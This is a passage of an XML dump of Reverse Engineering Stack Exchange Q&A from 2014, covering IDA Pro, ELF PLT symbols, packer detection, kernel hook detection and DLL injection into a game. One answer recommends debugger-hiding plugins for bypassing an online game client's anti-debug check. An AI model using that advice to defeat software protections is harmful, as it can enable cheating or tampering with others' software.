?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to download application files :&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/10907501/bc/UW.rar&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/10907501/bc/UW.rar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8490" LastEditorUserId="53" LastEditDate="2015-07-10T15:44:28.740" LastActivityDate="2015-07-10T15:44:28.740" Title="What kind of obfuscate is this?" Tags="|deobfuscation|.net|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6203" PostTypeId="2" ParentId="6198" CreationDate="2014-09-09T09:17:07.303" Score="1" Body="&lt;p&gt;As BitShifter said, the device might be using some pins other than Transmit/Receive, so a software monitor might not detect much. The best you can do is get a hardware device with LEDs like this &lt;img src=&quot;https://i.stack.imgur.com/DyVu3.jpg&quot; alt=&quot;this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which i found on &lt;a href=&quot;http://www.awrtech.co.uk/awr_cat.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.awrtech.co.uk/awr_cat.htm&lt;/a&gt; (look for RS232_SPM)&#xA;that shows you which of the lines do something while your device is active. After that, you might be able to monitor the relevant pin in software, or use a scope or a logic analyzer to find out what's actually going on.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-09-09T09:17:07.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6204" PostTypeId="1" AcceptedAnswerId="6205" CreationDate="2014-09-09T12:38:07.063" Score="2" ViewCount="2881" Body="&lt;p&gt;I'm analyzing a MIPS ELF executable with calls to the &lt;code&gt;exit()&lt;/code&gt; function, however IDA PRO is not correctly recognizing the end of the block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Scq4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: Is it possible to remove the blue arrow linking the &lt;code&gt;exit()&lt;/code&gt; block with the next one ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: Is it possible to enhance the disassembly if IDA by specifying exit as a block end ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3469" LastEditorUserId="53" LastEditDate="2014-09-09T12:57:15.760" LastActivityDate="2014-09-09T13:28:59.503" Title="Correct IDA PRO Control Flow Graph" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6205" PostTypeId="2" ParentId="6204" CreationDate="2014-09-09T13:28:59.503" Score="8" Body="&lt;p&gt;It is possible to define a function exit as &quot;no return&quot; function.&#xA;This should fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do it you should find exit function, right click on it, choose &quot;edit function&quot; and mark &quot;Does not return&quot; checkbox.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-09-09T13:28:59.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6206" PostTypeId="1" AcceptedAnswerId="6207" CreationDate="2014-09-09T16:02:58.360" Score="0" ViewCount="979" Body="&lt;p&gt;Is IDA (or some external plugin) capable of adding comments describing values contained in registers to every branch instruction ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD.W           R8, R10, #0x78&#xA;MOVS            R5, #0&#xA;ADD.W           R1, R10, #0xE8&#xA;STR             R1, [SP,#0x1C+var_1C]&#xA;loc_xxxxxxxx&#xA;MOV             R0, R5&#xA;MOV             R1, R8&#xA;BL              sub_xxxxxxxx ; r0 = #0, r1 = R10 + #0x78&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the comment at BL &lt;em&gt;sub_xxxxxxxx&lt;/em&gt; would be generated automatically&lt;/p&gt;&#xA;" OwnerUserId="8492" LastActivityDate="2014-09-09T16:10:50.837" Title="IDA Pro get register values before branch" Tags="|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6207" PostTypeId="2" ParentId="6206" CreationDate="2014-09-09T16:10:50.837" Score="3" Body="&lt;p&gt;The open-source IDA Pro script &lt;a href=&quot;https://github.com/deresz/funcap&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;funcap&lt;/strong&gt;&lt;/a&gt; does 99% of what you want. I'd recommend using it as a foundation and making some minor tweaks to get it to do exactly what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v4TPU.png&quot; alt=&quot;funcap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-09T16:10:50.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6208" PostTypeId="1" CreationDate="2014-09-09T16:20:14.687" Score="3" ViewCount="4120" Body="&lt;p&gt;What programs are the most useful to detect if a 64-bit PE file has been packed (main focus is on EXE files).&#xA;I am not interested in the packer used I would just like to know if the file is packed or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of various PE file properties such as checking entropy, imports, etc.&#xA;PeID is generally recommended but unfortunately does not support 64-bit files, is there a program that is similar and supports 64-bit files (I have a large number of files to be checked)? Any other advise to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come across a few programs but I am not sure if they are good.&lt;/p&gt;&#xA;" OwnerUserId="8494" LastEditorUserId="53" LastEditDate="2017-04-28T12:53:46.307" LastActivityDate="2017-04-28T12:53:46.307" Title="Detecting packed 64-bit Windows Portable Executable (EXE) files" Tags="|disassembly|windows|malware|pe|packers|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6209" PostTypeId="2" ParentId="6208" CreationDate="2014-09-09T17:13:11.067" Score="1" Body="&lt;p&gt;I am only aware of two more packer detectors, &lt;a href=&quot;http://pid.gamecopyworld.com/&quot; rel=&quot;nofollow&quot;&gt;Protection iD&lt;/a&gt;, and DiE(Detect it Easy) as Extreme Coders has mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you are on to something. 64-bit reverse engineering is still in its infancy, apart from IDA, tools are just now being developed to work on 64-bit applications, as it is a new architecture(relative to the number of 64bit applications out there), and on Windows in particular, comes with its own set of quirks(Driver signing, PatchGuard) which significantly slows a reversing down.&#xA;But even IDA have not yet released a 64-bit decompiler(though they claim it is almost ready) which is further confirmation of what I said.&lt;/p&gt;&#xA;" OwnerUserId="6947" LastEditorUserId="6947" LastEditDate="2014-09-09T17:36:08.353" LastActivityDate="2014-09-09T17:36:08.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6210" PostTypeId="1" CreationDate="2014-09-09T19:51:20.470" Score="1" ViewCount="595" Body="&lt;p&gt;&lt;code&gt;get_screen_ea( )&lt;/code&gt; is ==&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000014000B065 mov cs:qword_142167D38, rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a function in the SDK to extract &lt;strong&gt;qword_142167D38&lt;/strong&gt;? Preferably as a hexadecimal value rather than a string.&lt;/p&gt;&#xA;" OwnerUserId="8383" LastEditorUserId="1413" LastEditDate="2014-09-10T04:24:29.500" LastActivityDate="2015-05-08T14:19:43.953" Title="IDA SDK Extract Offset From Instruction" Tags="|ida|disassemblers|idapro-sdk|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6211" PostTypeId="1" CreationDate="2014-09-09T21:28:28.037" Score="2" ViewCount="622" Body="&lt;p&gt;I am trying to disassemble an online game Client to get something , There is LoadlibraryA() function that call dll file , But that dll file is protected somehow so it show a message that there is a debugger injected in the program and close the Client (Message appear too when trying to use this function and dll in VS C# program debug mode) , So is there any way to try to trace the Client without this message like a stealth program or something like that?&lt;/p&gt;&#xA;" OwnerUserId="8498" LastActivityDate="2014-09-11T13:09:39.040" Title="Problem with IDA in LoadlibraryA()" Tags="|ida-plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6212" PostTypeId="2" ParentId="6210" CreationDate="2014-09-09T21:33:11.320" Score="2" Body="&lt;pre&gt;&lt;code&gt;char szBuffer[MAXSTR];&#xA;ua_outop2( get_screen_ea( ), szBuffer, MAXSTR, 1 );&#xA;&#xA;ea_t qword = cmd.Operands[1].addr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8383" LastActivityDate="2014-09-09T21:33:11.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6213" PostTypeId="1" AcceptedAnswerId="6214" CreationDate="2014-09-10T04:06:24.610" Score="5" ViewCount="1311" Body="&lt;p&gt;Doing some messing around with ELF (of both the x86 and ARM varieties).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Associating symbol names with entries in the &lt;code&gt;.got&lt;/code&gt; section is straightforward.  Find the &lt;code&gt;.got&lt;/code&gt; section, find the relocation section &lt;code&gt;.rel.plt&lt;/code&gt;/&lt;code&gt;.rela.plt&lt;/code&gt; whose &lt;code&gt;.sh_info&lt;/code&gt; contains the index of the &lt;code&gt;.got&lt;/code&gt;, and find the symbol section &lt;code&gt;.dynsym&lt;/code&gt; that contains the symbol names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything lines up nicely between these sections, and I can accurately assign symbol names to entries in the &lt;code&gt;.got&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also want names for the stubs in the &lt;code&gt;.plt&lt;/code&gt; section.  A rough percentage of the time, symbols for the &lt;code&gt;.plt&lt;/code&gt; can be inferred based on the ordering of &lt;code&gt;.got&lt;/code&gt; symbols, and an offset from the base of the &lt;code&gt;.plt&lt;/code&gt; section.  For whatever reason, occasionally this is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binutils &lt;code&gt;objdump&lt;/code&gt; can accurately generate them for x86, and IDA can accurately generate them for x86 and ARM (both without &lt;code&gt;-g&lt;/code&gt; debugging symbols).  How are these generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of IDA, I could reasonably assume there's some advanced logic going on based on interpretation of the instructions in the &lt;code&gt;.plt&lt;/code&gt;, but I know that must not be the case for &lt;code&gt;objdump&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2014-10-14T03:54:47.380" LastActivityDate="2014-10-14T03:54:47.380" Title="Associating Symbol Names with .PLT Entries" Tags="|ida|elf|got|plt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6214" PostTypeId="2" ParentId="6213" CreationDate="2014-09-10T05:05:31.603" Score="4" Body="&lt;p&gt;See &lt;a href=&quot;http://www.sourceware.org/ml/binutils/2004-04/msg00469.html&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;. Basically, they rely on the fact that the order of PLT relocations matches the order of the stubs in &lt;code&gt;.plt&lt;/code&gt; section, and the stubs are all of the same size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some platforms you can also use &lt;code&gt;st_value&lt;/code&gt; of the symbol entry in the dynamic symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA indeed usually does not rely on the order of symbols/relocations but checks the actual instructions in the stub.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-10T05:05:31.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6215" PostTypeId="1" CreationDate="2014-09-10T05:13:46.373" Score="0" ViewCount="5677" Body="&lt;p&gt;I am trying to reverse engineer a DLL file, but I am getting this warning when it's loaded:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LkJp0.png&quot; alt=&quot;Warning message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well, then on some of the functions error appears &lt;code&gt;sp analysis failed&lt;/code&gt; like on this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PDJzj.png&quot; alt=&quot;Error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get code from that function ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once in pseudo code, there is only &quot;&lt;code&gt;;&lt;/code&gt;&quot; inside the function. Parameters do match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cgpq8.png&quot; alt=&quot;http://i.imgur.com/0Y2ccpx.png&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="8499" LastEditorUserId="53" LastEditDate="2014-09-10T09:03:57.647" LastActivityDate="2014-09-10T09:03:57.647" Title="IDA sp analysis failed" Tags="|ida|dll|" AnswerCount="0" CommentCount="7" ClosedDate="2014-09-11T20:43:02.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="6216" PostTypeId="2" ParentId="6211" CreationDate="2014-09-10T06:45:51.677" Score="1" Body="&lt;p&gt;I think you can try use a special plugins for IDA which hide debugger from detect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?view.3597&quot; rel=&quot;nofollow&quot;&gt;ScyllaHide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?view.3575&quot; rel=&quot;nofollow&quot;&gt;TitanHide&lt;/a&gt; (driver)&lt;/p&gt;&#xA;" OwnerUserId="4669" LastActivityDate="2014-09-10T06:45:51.677" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6217" PostTypeId="1" CreationDate="2014-09-10T07:31:29.950" Score="4" ViewCount="2167" Body="&lt;p&gt;I did a simple SSDT Hooks detector that iterates through all entries and checks if any address is outside the Kernel module. If so, I can even go back and using the &lt;code&gt;syscall&lt;/code&gt; find out what function was supposed to be there. &#xA;I suppose that at this point I could also try to undo the hook, but I haven't tried yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt; to get a list of modules and I always assume that the first module is the kernel. &#xA;How safe is this approach? Is there a chance that the kernel module would not be the first? I could search by name, but it's not always the same so I tried to avoid that; I can make it to search for one of the names the kernel module could have. &#xA;I also need that list to see from what module comes the hook.&#xA;Is there a way that I can get a list of the loaded modules without &lt;code&gt;ZwQuerySystemInformation&lt;/code&gt;? It can hide information from me if it is hooked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding inline hooks, right now I iterate through all the exports from the kernel module and check each function's code to see if it begins with a relative jump or a push offset &amp;amp; ret. Should I also check if the address to which the jump / ret is made is outside the kernel module or it's redundant? &#xA;If I don't check for the jump address I get a false positive (I think) for &lt;code&gt;KePollFreezeExecution&lt;/code&gt; which jumps inside the kernel module.&#xA;u &lt;code&gt;nt!KePollFreezeExecution&lt;/code&gt; in WinDbg gives the following output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp nt!KeIpiGenericCall+0x132&#xA;int 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this isn't perfect (someone could place the hook anywhere inside the function code or maybe find a place inside the kernel module where to put his functions and so on), but I'm just doing it to understand how all of this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm aware that on x64 this methods won't be so simple to implement, but at the moment I'm experimenting with x86. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More of a &quot;how should I approach this&quot; question than &quot;how should I code this&quot;.  &lt;/p&gt;&#xA;" OwnerUserId="8119" LastEditorUserId="1413" LastEditDate="2014-09-10T15:44:26.667" LastActivityDate="2020-01-07T21:32:03.437" Title="Detecting SSDT and inline hooks in kernel" Tags="|windows|kernel-mode|function-hooking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6218" PostTypeId="1" CreationDate="2014-09-10T17:41:56.300" Score="0" ViewCount="132" Body="&lt;p&gt;I have the following assembly line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; test byte ptr [esp + 44h], 1&#xA; jmp SomeCode; &#xA; .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from a further analysis, I know that esp points at wShowWindow of the STARTUPINFO structure. &#xA;I have written the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STARTUPINFO *esp_pointer;&#xA;esp_pointer -&amp;gt; wShowWindow; &#xA;if(*(esp_pointer) != 1){&#xA;    SomeCode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that a right transformation in C ? What do you mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-09-11T07:46:32.320" Title="Pointer to a structure and TEST operation" Tags="|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6220" PostTypeId="2" ParentId="6208" CreationDate="2014-09-10T19:26:52.473" Score="2" Body="&lt;p&gt;protectionid supports x64 files no problem... and if you can think of anything i could add to it, just let me know and i'll see what i can do (new build is planned for halloween and it'll be a spooky 'theme').. just dont tell anyone, its a secret&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2014-09-10T19:26:52.473" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6221" PostTypeId="2" ParentId="6218" CreationDate="2014-09-11T07:46:32.320" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Don't try to translate assembly to C line by line. You can't.&lt;/li&gt;&#xA;&lt;li&gt;The assembly you posted is probably wrong. A &lt;code&gt;jmp&lt;/code&gt; is an unconditonal jump; what follows after a &lt;code&gt;test&lt;/code&gt; instruction is normally a &lt;code&gt;jz&lt;/code&gt; or &lt;code&gt;jnz&lt;/code&gt; which jump depending on the result of the test.&lt;/li&gt;&#xA;&lt;li&gt;You say &lt;code&gt;esp&lt;/code&gt; points at &lt;code&gt;wShowWindow&lt;/code&gt;. That would mean &lt;code&gt;[esp+44h]&lt;/code&gt; points at something way behind the structure, which makes no sense. Maybe what you wanted to say is &quot;I know i have a &lt;code&gt;STARTUPINFO&lt;/code&gt; structure on the stack at 14h, so &lt;code&gt;[esp+44h]&lt;/code&gt; should be the &lt;code&gt;wShowWindow&lt;/code&gt; component&quot; ?&lt;/li&gt;&#xA;&lt;li&gt;If you're right with &lt;code&gt;STARTUPINFO&lt;/code&gt; somewhere on the stack - it can't be directly at &lt;code&gt;[esp]&lt;/code&gt;, as mentioned -  please make sure &lt;code&gt;[esp+44h]&lt;/code&gt; is &lt;code&gt;wShowWindow&lt;/code&gt;, not &lt;code&gt;dwFlags&lt;/code&gt;, as the &lt;code&gt;test&lt;/code&gt; operation would make much more sense with the &lt;code&gt;dwFlags&lt;/code&gt; bitmap than an integer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All that said, &lt;code&gt;test&lt;/code&gt; tests if a bit is set; a compare would be a &lt;code&gt;cmp&lt;/code&gt;. So if you really really want an example in C, it would look something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STARTUPINFO p;&#xA;p=(STARTUPINFO *) ((char *) esp+0x14);   // this assumes the structure starts &#xA;                                         // at offset 0x14 from esp&#xA;if (p-&amp;gt;wShowWindow &amp;amp; 1) {                // access the wShowWindow component at offset&#xA;                                         // 0x30 in the structure, which is 0x44 from esp&#xA;    ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note i didn't include the &lt;code&gt;SomeCode&lt;/code&gt;, as the &quot;jump there&quot; might just mean &quot;skip some instructions&quot;, and your unconditional jump seems to be wrong anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, when posting a question next time, be a bit more precise in what you ask and what you copy/paste.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-09-11T07:46:32.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6224" PostTypeId="1" CreationDate="2014-09-11T23:18:36.873" Score="3" ViewCount="3305" Body="&lt;p&gt;I have the following assembly line and I have my problems to understand it, because until now I have always seen lines like this: &lt;code&gt;mov eax, 0&lt;/code&gt; and so on. &#xA;But now, I have the following (I use IDA PRO):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mov ds:dword_4870058 , offset loc_4048E0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on offset &lt;code&gt;loc_4048E0&lt;/code&gt;, I see: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; loc_4048E0:&#xA; mov al, 10h&#xA; jmp sub_402774&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I interpret &lt;code&gt;dword_4870058&lt;/code&gt; as a global variable, can I assume that &lt;code&gt;dword_4870058&lt;/code&gt; gets the value &lt;code&gt;10h&lt;/code&gt; (if I regard &lt;code&gt;al&lt;/code&gt; as a return value register) . This is the only thing that I can imagine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a right or wrong assumption ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-09-12T05:49:06.623" LastActivityDate="2014-09-12T12:48:19.743" Title="How can I interpret mov ds:dword_4870058 , offset loc_4048E0?" Tags="|assembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6226" PostTypeId="2" ParentId="6224" CreationDate="2014-09-12T02:44:04.743" Score="2" Body="&lt;p&gt;The cleaner version would be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [dword_4870058] , offset loc_4048E0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, a variant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [address], value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where, the &lt;code&gt;[ ]&lt;/code&gt; signifies its a memory address contained within the &lt;code&gt;[]&lt;/code&gt;&#xA;and the value put in it for this case is another memory address (in the code section).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move it to a register it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov register, value ; eg : mov eax, 12345678h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value portion can be a value, a pointer, a constant... They're all the same ... just numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Little thing to pay in mind, in x86 you cant do memory to memory moves. So, the &quot;can I assume that &lt;code&gt;dword_4870058&lt;/code&gt; gets the value &lt;code&gt;10h&lt;/code&gt;&quot; is completely wrong, the function at that address has NOT been called has it ? So, it cant get the value &lt;code&gt;10h&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its simply storing one value (the address of a function) into another memory block.&lt;/p&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="53" LastEditDate="2014-09-12T12:48:19.743" LastActivityDate="2014-09-12T12:48:19.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6228" PostTypeId="1" CreationDate="2014-09-12T14:33:14.193" Score="13" ViewCount="4797" Body="&lt;p&gt;Wasn't sure where to ask this on stack exchange, so vote to close if you think it is in the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am analyzing a Windows security patch. Having never examined a windows security patch, and being unaware of their structure I am trying to figure it out for myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the patch I have (this week's I.E patch) I have these files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_manifest.cix.xml &amp;lt;- obviously a manifest for the patch. &#xA;Binary files numbered 0 - 130 &#xA;Dozens of files with similar names to this: amd64_1d07faac344e137a0d122aad24eb4e6e_31bf3856ad364e35_11.2.9600.17280_none_eaadf6b3ac7d9c33.manifest &amp;lt;- I am assuming that these are architecture specific changes. &#xA;package_1_for_kb2977629~31bf3856ad364e35~amd64~~11.2.1.0.cat &amp;lt;- A catalog of some sort. Not sure how it's used by the update. &#xA;package_1_for_kb2977629~31bf3856ad364e35~amd64~~11.2.1.0.mum &amp;lt;- more information about the update. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is&lt;/strong&gt;: Is there comprehensive documentation for how all of these parts work together, if not, how do all of these parts work together? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine, what has to happen is that some mechanism has to tell the update where in the binary to patch, and then one of those files numbered 0-130 is the code to overwrite. I'm sure there is a standard format so that I can interpret these files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;assembly xmlns=&quot;urn:schemas-microsoft-com:asm.v3&quot; manifestVersion=&quot;1.0&quot;&amp;gt;&#xA;  &amp;lt;assemblyIdentity name=&quot;1d07faac344e137a0d122aad24eb4e6e&quot; version=&quot;11.2.9600.17280&quot; processorArchitecture=&quot;amd64&quot; language=&quot;neutral&quot; buildType=&quot;release&quot; publicKeyToken=&quot;31bf3856ad364e35&quot; versionScope=&quot;nonSxS&quot; /&amp;gt;&#xA;  &amp;lt;deployment /&amp;gt;&#xA;  &amp;lt;dependency discoverable=&quot;false&quot;&amp;gt;&#xA;    &amp;lt;dependentAssembly dependencyType=&quot;install&quot;&amp;gt;&#xA;      &amp;lt;assemblyIdentity name=&quot;Microsoft-Windows-IE-MemoryAnalyzer&quot; version=&quot;11.2.9600.17280&quot; processorArchitecture=&quot;amd64&quot; language=&quot;neutral&quot; buildType=&quot;release&quot; publicKeyToken=&quot;31bf3856ad364e35&quot; versionScope=&quot;nonSxS&quot; /&amp;gt;&#xA;    &amp;lt;/dependentAssembly&amp;gt;&#xA;  &amp;lt;/dependency&amp;gt;&#xA;&amp;lt;/assembly&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would seem to suggest that we are about to patch assembly 1d07faac344e137a0d122aad24eb4e6e which might be named &quot;Microsoft-Windows-IE-MemoryAnalyzer. That's just a guess! I don't see any reference in here to the code to patch. I imagine one way of doing that is to just read through these manifests in order, and apply the patches in the order the manifests are read. First manifest gets binary file 0 and so on. That seems janky, and I bet I'm wrong about that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the size of the files themselves, I would imagine that they aren't rewriting the whole module, although they might be compressed. Without any reference I haven't a clue as to their structure. I imagine there would be snippets of code, and offsets for where to rewrite the DLLs/Exes in question. Of course I ran strings on the binaries, but didn't find anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would most like to figure out through this is which particular functions are being patched in IE. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2022-05-04T15:21:19.587" Title="How do the internals of a Windows update security patch work?" Tags="|windows|patching|binary|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6229" PostTypeId="1" CreationDate="2014-09-12T18:34:00.450" Score="4" ViewCount="1706" Body="&lt;p&gt;I've injected a DLL into an existing game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can import functions and variables like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef const wchar_t* (__fastcall *get_string_t)(const char*, int, const char*, int);&#xA;get_string_t real_get_string = reinterpret_cast&amp;lt;get_string_t&amp;gt;(0x6f9ec0);&#xA;int&amp;amp; g_cx = *reinterpret_cast&amp;lt;int*&amp;gt;(0x8523e0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but these function pointers and variables add an indirection and have cumbersome syntax. &#xA;Is there a way to import the original functions from the executable such that the linker can find them and I can use normal (extern) declarations?&lt;/p&gt;&#xA;" OwnerUserId="8464" LastActivityDate="2015-01-10T21:57:06.473" Title="Import functions from executable" Tags="|c++|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6230" PostTypeId="2" ParentId="6229" CreationDate="2014-09-12T19:03:05.677" Score="3" Body="&lt;p&gt;Yes, you could add an Export Table to the original executable, with named symbols (which you define) pointing to the addresses for those functions/globals/etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your DLL could then import those function addresses by Export Table symbol name at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But whether you go with this plan or your current plan above, be careful about calling the EXE's functions from your DLL. Be sure you understand the function's side-effects, use of global variables, etc. since it may not be thread-safe to call it from your DLL.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-12T19:03:05.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
